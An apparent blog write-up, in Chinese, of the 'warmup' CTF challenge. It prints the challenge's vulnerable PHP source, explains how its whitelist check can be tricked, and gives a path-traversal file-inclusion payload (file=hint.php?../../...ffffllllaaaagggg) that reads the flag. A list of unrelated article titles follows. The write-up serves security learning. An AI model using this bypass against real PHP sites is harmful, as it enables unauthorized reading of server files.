攻防世界(十一)warmup
2024-08-23 22:05:21
攻防世界系列 :warmup
1.打开题目,一个贱贱的滑稽表情
F12看到注释内容source.php
2.访问source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到代码中白名单里还有hint.php文件
3.代码审计
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
需要我们post方法传入一个file变量
满足
(1)file不为空
(2)file值是一个字符串
(3)通过checkFile()函数检查
其中checkFile()包括三次白名单检测,两次字符串截取,一次URL解码
几个重要的php函数
is_string()
//判断变量是否为字符串,是返回true否返回false
isset()
//判断变量是否被赋值,是返回true否返回false
in_array(a,b)
//从数组b中搜索值a
mb_strpos(a,b)
//返回要查找的字符串b在另一个字符串a中首次出现的位置
mb_substr(a,b,c)
//返回字符串a中从b开始长度为c(c参数可有可无,默认到结尾)的部分
4.构造payload
根据代码要求,file中要包含"hint.php"或"source.php",要有"?"可以把关键字"hint.php"或"source.php"截取出来。
所以payload为
file=hint.php?../../../../../../../ffffllllaaaagggg
或
file=source.php?../../../../../../../ffffllllaaaagggg
收工 !
最新文章
- You need to use a Theme.AppCompat theme (or descendant) with this activity
- jQuery动态提示消息框效果
- Flex4/AS3.0自定义VideoPlayer组件皮肤,实现Flash视频播放器
- 使用 Attribute +反射 来对两个类之间动态赋值
- Start of Something New
- Linux Shell脚本Ldd命令原理及使用方法
- Wpf控件ListBox使用实例2
- 字符串处理——strpos()函数
- python3 time模块与datetime模块
- 版本控制——TortoiseSVN (1)安装与配置
- SSM项目手动分页详解
- NABCD分析---校园服务
- application.xml中配置文件properties导入
- perl控制流介绍(if条件,while,for循环,foreach)
- swift - iOS10之后的加速器
- vue 操作数组,原数组怎么不让它改变
- WPF中使用TextBlock的Inlines属性来完成复杂的文字内容
- Codeforces Round #302 解题报告
- 网络编程之socket(TCP,UDP)
- Java设计模式—策略模式